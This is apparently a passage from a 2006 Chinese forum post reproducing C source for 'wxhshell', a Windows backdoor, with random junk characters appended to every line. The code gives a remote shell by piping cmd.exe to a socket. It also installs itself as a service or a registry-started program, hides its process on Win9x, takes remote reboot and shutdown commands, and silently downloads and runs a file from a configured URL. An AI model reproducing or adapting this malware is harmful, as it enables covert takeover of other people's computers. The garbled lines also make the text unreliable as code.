  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Jd-u ?  
  } eUZvJTE  
  else { b.lK0 Xo  
mZ! 1Vh  
    switch(cmd[0]) { #57D10j  
  ;'7gg]  
  // 帮助 ? 1 ~C`I;  
  case '?': { ` Clh;  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 5fuB((fd(  
    break; |x$2- RUP  
  } 3 6-Sw  
  // 安装 $*N)\>~X  
  case 'i': { U_l#lGA(H  
    if(Install()) *-lw2M9V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Lju)q6  
    else x17K8De  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Kq4b`cn{_  
    break; K'u66%wAL  
    } }35HKgqX  
  // 卸载 TD6MP9L  
  case 'r': { si,W.9rU  
    if(Uninstall()) SO8b~N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m{{ 8#@g  
    else  bMDj+i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Xm I63W*  
    break; yf@DaIG  
    }  Unc_e  
  // 显示 wxhshell 所在路径 )D>= \ Me  
  case 'p': { *wNO3tP't  
    char svExeFile[MAX_PATH]; Di>B:=  
    strcpy(svExeFile,"\n\r"); /+g)J0u  
      strcat(svExeFile,ExeFile); Kjfpq!NYE  
        send(wsh,svExeFile,strlen(svExeFile),0); iW$f1=i  
    break;  PH6NU&H  
    } au~}s |#  
  // 重启 ~uRL+<.c  
  case 'b': { 4!)=!sL ;  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 2oFbS%OV  
    if(Boot(REBOOT)) o5`LLVif5y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); = k7}[!T  
    else { TL*8h7.(  
    closesocket(wsh); oJ`cefcWo  
    ExitThread(0); ]^c]*O[8  
    } 'pQ\BH  
    break; wD|I^y;  
    } =lG/A[66  
  // 关机 {- Y.C*E  
  case 'd': { y>jP]LR4  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); b 9cY  
    if(Boot(SHUTDOWN)) 6E0{(*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zilM+BZ8  
    else { Qk h}=3u  
    closesocket(wsh); 8sz|9~  
    ExitThread(0); BMxe)izT;  
    } H){lXR/#u  
    break; +x_9IvaW&?  
    } *p=a-s5-  
  // 获取shell 2Pz)vnV"  
  case 's': { NU{`eM  
    CmdShell(wsh); N"Mw1R4  
    closesocket(wsh); ux=0N]lc  
    ExitThread(0); A$;"9F@  
    break; F!pgec%]'  
  } v>oWk:iJP  
  // 退出 9W+RUh^W  
  case 'x': { KE*8Y4#9  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 7,:$, bL  
    CloseIt(wsh); pxgVYr.  
    break; NR|t~C+  
    } O=2SDuBZ  
  // 离开 l %M0^d6M  
  case 'q': { h.WvPZ2U  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); @24)*d^1  
    closesocket(wsh); 9zs!rlzQ  
    WSACleanup(); u/S{^2`b  
    exit(1); &>$+O>c ,  
    break; 3wf&,4`EX  
        } y L|'K}  
  } 9fQFsI  
  } 3sF^6<E  
hCFgZiH2  
  // 提示信息 O[RivHCY  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); yK"T5^o  
} M# a1ev  
  } 1xsIM'&  
y3{ F\K  
  return; ##_Jz5P  
} 6L4<c+v_  
B?pNF+?'z  
// shell模块句柄 || 0n%"h>i  
int CmdShell(SOCKET sock) <yw(7  
{ K|^'`FpPO  
STARTUPINFO si; /@qnEP%  
ZeroMemory(&si,sizeof(si)); 5kbbeO|0G  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; U,e'vS{  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; _dk/SWb)  
PROCESS_INFORMATION ProcessInfo; iB0#Z_  
char cmdline[]="cmd"; M*n@djL$\~  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); &w7Ev21  
  return 0; *Tyr  
}  66 @#V  
I`-N]sf^  
// 自身启动模式 DLBHZ?+!  
int StartFromService(void) }?KfL$@$  
{ ]sL)[o  
typedef struct K#_x.: <J  
{ j$ h>CZZ  
  DWORD ExitStatus; Oiz@tEp=_  
  DWORD PebBaseAddress; 6L}}3b h  
  DWORD AffinityMask; _jCk)3KO  
  DWORD BasePriority; >.4mAO  
  ULONG UniqueProcessId; \!Cc[n(f#  
  ULONG InheritedFromUniqueProcessId; !eE;MaS>  
}   PROCESS_BASIC_INFORMATION; >xB[k-C4  
"Di8MMGOY  
PROCNTQSIP NtQueryInformationProcess; fqp!^-!X  
%ok??_}$}q  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _G0_<WH6  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; !${7)=|=1  
o.|P7{v}  
  HANDLE             hProcess; uzgQ_  
  PROCESS_BASIC_INFORMATION pbi; JDp{d c  
yMVlTO  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ;FfDi*S7  
  if(NULL == hInst ) return 0; 3 jR I@  
K0xka[x=(  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); YggeKN  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &'KJh+jJ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); r=74 'g  
(u:^4,Z  
  if (!NtQueryInformationProcess) return 0; 'ugc=-0pd  
0tb%h[%,M  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); +0Z,#b  
  if(!hProcess) return 0; |fIIfYE  
t]14bf$*Q  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; IF~E;  
/; {E}`  
  CloseHandle(hProcess); sDXD>upO  
Svqj@@_f  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); bbe$6xwi  
if(hProcess==NULL) return 0; mi]bS  
kVeR{i<*(  
HMODULE hMod; jRGslak;  
char procName[255]; XV %DhR=  
unsigned long cbNeeded; 0s'h2={iI  
bpgvLZb>s  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); z}z 6Vg  
T0TgV  
  CloseHandle(hProcess); ($or@lfs  
=9yh<'583  
if(strstr(procName,"services")) return 1; // 以服务启动 T j(MIFi|5  
Z`]r)z%f  
  return 0; // 注册表启动 ms%RNxU4:  
} tPqWe2  
UYw=i4J'  
// 主模块 <reALC  
int StartWxhshell(LPSTR lpCmdLine) 0Fc^c[  
{ 0ub0 [A  
  SOCKET wsl; 0aM&+j\q}  
BOOL val=TRUE; sFbN)Cx  
  int port=0; M)6iYA%$  
  struct sockaddr_in door; B9(@ .  
D`NPU  
  if(wscfg.ws_autoins) Install(); tN1xZW:  
fPBJ%SZ  
port=atoi(lpCmdLine); Uu_Es{@  
!YVGT <  
if(port<=0) port=wscfg.ws_port; -~] q?k?  
A~)#  
  WSADATA data; AC&)FY  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; mxEn iy  
M~ eXC  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Em ;2fh  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); )eD9H*mq  
  door.sin_family = AF_INET; (J 1:J  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); GTuxMg`  
  door.sin_port = htons(port); nr]:Y3KyxX  
VS jt|F)t  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { (|9t+KP  
closesocket(wsl); G$mAyK:  
return 1; 9_-6Lwj6t  
} 5_7y1  
Aw$+Ew[8 2  
  if(listen(wsl,2) == INVALID_SOCKET) { ~J:]cy)Q  
closesocket(wsl); iu.v8I ;<  
return 1; B? Z_~Bf&  
} 9T#${NK  
  Wxhshell(wsl); %EH{p@nM&-  
  WSACleanup(); lW|`8ykp  
W+Q^u7K  
return 0; SxI-pH'  
kt2W7.A 5  
} l=PZlH y1G  
Mj6 0?k  
// 以NT服务方式启动 MAQ(PIc>T  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) JnIE6@g<y  
{ `n?Rxhkwp  
DWORD   status = 0; G _-JR  
  DWORD   specificError = 0xfffffff; hN^,'O  
.]w=+~h  
  serviceStatus.dwServiceType     = SERVICE_WIN32; K1$   
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ("KtJ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Bwl@Muw  
  serviceStatus.dwWin32ExitCode     = 0; 6UKZ0~R  
  serviceStatus.dwServiceSpecificExitCode = 0; Jo''yrJpB  
  serviceStatus.dwCheckPoint       = 0; Ji4JP0  
  serviceStatus.dwWaitHint       = 0; 8I[=iU7]l  
s[bQO1g;*  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); \IaUsx"#o{  
  if (hServiceStatusHandle==0) return; ZM16 ~k  
$1 t IC_  
status = GetLastError(); UR~s\m  
  if (status!=NO_ERROR) ub;:"ns}  
{ v>0I=ut  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; p""\uG'  
    serviceStatus.dwCheckPoint       = 0; +"1fr  
    serviceStatus.dwWaitHint       = 0; .XT]\'vW  
    serviceStatus.dwWin32ExitCode     = status; \q@Co42n\  
    serviceStatus.dwServiceSpecificExitCode = specificError; gA}?X  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); zfw=U \  
    return; qV0GpVJZU?  
  } wxo*\WLe  
G=/^]E  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; #y-R*4G  
  serviceStatus.dwCheckPoint       = 0; Du #>y!  
  serviceStatus.dwWaitHint       = 0; goe %'k,  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); .*edaDi  
} +ib&6IU  
(q@%eor&}  
// 处理NT服务事件,比如:启动、停止 h S)lQl:^  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 2]]}Xvx4#  
{ h~lps?.#b  
switch(fdwControl) ot0g@q[3  
{ GkpYf~\Q  
case SERVICE_CONTROL_STOP: n^|SN9 _r  
  serviceStatus.dwWin32ExitCode = 0; Vi`P &uPF  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; WjguM  
  serviceStatus.dwCheckPoint   = 0; :T{VCw:*  
  serviceStatus.dwWaitHint     = 0; gBr /Y}I  
  { 8*;>:g  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); sJ{r+wY  
  } 8<Pi}RH  
  return; ~b @"ir+g4  
case SERVICE_CONTROL_PAUSE: Z((e-T#,  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; *q"1I9zvT  
  break; G.r .Z0  
case SERVICE_CONTROL_CONTINUE: gO{$p q}  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; cJf&R^[T  
  break; B@v (ZY  
case SERVICE_CONTROL_INTERROGATE: 85e*um^  
  break; _6!iv  
}; lid0 YK-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !mmSF1f  
} b;FaTm@  
}@"v7X $  
// 标准应用程序主函数 v"o_V|  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `=S%!akj  
{ W[R`],x`  
WcQkeh3n  
// 获取操作系统版本 Po&'#TC1  
OsIsNt=GetOsVer(); # [ +n(  
GetModuleFileName(NULL,ExeFile,MAX_PATH); #&ei  
T"t.t%(8  
  // 从命令行安装 +:W/=C d(h  
  if(strpbrk(lpCmdLine,"iI")) Install(); ht#,v5oG>f  
k!bG![Ie|  
  // 下载执行文件 \u04m}h]  
if(wscfg.ws_downexe) { %k<+#j6ZH  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 39MOqVc  
  WinExec(wscfg.ws_filenam,SW_HIDE); bI^F (  
} -Kw7! =_ g  
Kn1T2WSAg  
if(!OsIsNt) { `6RccEm  
// 如果时win9x,隐藏进程并且设置为注册表启动 Tq SjL{l%  
HideProc(); X#Ob^E%J  
StartWxhshell(lpCmdLine); Qsw.429t  
} VCVKh  
else nch#DE8 2  
  if(StartFromService()) FY-eoq0O3  
  // 以服务方式启动 v_WF.sb~  
  StartServiceCtrlDispatcher(DispatchTable); ~!M"  
else );h  
  // 普通方式启动 XD" 4t4~>  
  StartWxhshell(lpCmdLine); @+1AYVz(k  
B`gH({U  
return 0; I2krxLPd  
}
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只看该作者 1 发表于: 2006-10-10
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